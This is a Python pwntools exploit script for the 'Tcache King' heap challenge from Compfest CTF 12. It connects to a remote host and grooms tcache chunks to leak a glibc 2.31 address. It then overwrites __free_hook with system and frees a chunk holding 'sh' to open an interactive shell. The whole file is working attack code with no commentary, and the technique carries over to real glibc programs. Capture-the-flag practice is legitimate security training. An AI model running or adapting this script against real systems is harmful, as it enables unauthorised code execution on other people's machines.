Tcache King Compfest CTF 12

exploit.py

from pwn import *
from random import randint

proc_name = "./tcache_king"
context.terminal = "tmux splitw -h -f".split()
#p = process(proc_name, env={"LD_PRELOAD":"./libc6_2.31-0ubuntu9_amd64.so"})
p = remote("128.199.157.172", 20978)
libc = ELF("./libc6_2.31-0ubuntu9_amd64.so")
#p = process(proc_name)
#libc = ELF("/opt/glibc2.31/lib/libc.so.6")
cmd = """set $note=$_base()+0x4040
x/gx &_IO_2_1_stdout_
"""
DEBUG = 0
if DEBUG:
	gdb.attach(p, cmd, gdb_args=["--init-eval-command='source ~/ctf/tools/gef/gef.py'"])

def goto(n):
	p.sendlineafter("Choice:",str(n))

def add(idx, sz, content, l=True):
	goto(1)
	p.sendlineafter(":", str(idx))
	p.sendlineafter(":", str(sz))
	if l:
		p.sendlineafter(":", content)
	else:
		p.sendafter(":", content)
	return

def delete(idx):
	goto(2)
	p.sendlineafter(":", str(idx))

def change_user(username):
	goto(4)
	p.sendafter(":", username)

#a = int(input("off> "), 16)
a = randint(0, 15)
off = (a << 12) | 0x6a0
username = "Hellow"
p.sendlineafter(":", username)

add(48, 0x30, "x")
add(49, 0x40, "y")
delete(48)
for i in range(7):
	add(i, 0x300, "")
add(7, 0x300, "")
add(8, 0x300, "")
add(9, 0x10, "")
add(50, 0x300, "")
add(51, 0x10, "")

for i in range(60, 60+7):
	add(i, 0x200, "")
add(67, 0x200, "")
add(68, 0x200, "")
add(69, 0x10, "")

for i in range(7):
	delete(i)
delete(8)
delete(7)
add(10, 0x300, "")
delete(8)

# try
add(11, 0x200-0x10, "")
add(12, 0x100, "")
change_user(p16(off))
add(13, 0x300, "")
add(14, 0x300, p64(0x3800)+p64(0)*3)
p.recv(8)
p.recv(8)
leak = u64(p.recv(8))
print(hex(leak))
pause()
add(99, 0x2b0, "")
libc.address = leak-2013568
#libc.address = leak-3889536
print(libc.address)
free_hook = libc.symbols['__free_hook']

for i in range(80, 80+7):
	add(i, 0x230, "")
add(78, 0x40, "xx")
for i in range(60, 60+7):
	delete(i)

delete(68)
delete(67)
add(70, 0x200, "")
delete(68)
add(11, 0x230, "A"*0x208+"Q")

delete(78)
add(79, 0x200, "kkk")
delete(79)

for i in range(80, 80+7):
	delete(i)
delete(11)

add(11, 0x240, "A"*0x208+"A")
delete(79)
delete(11)
add(11, 0x240, "A"*0x208+"Q")
delete(49)
add(47, 0x30, p64(0*2))
delete(47)
change_user(p64(libc.symbols['__free_hook']))
add(46, 0x40, "sh")
add(45, 0x40, "sh")
change_user(p64(libc.symbols['system']))
delete(46)

p.interactive()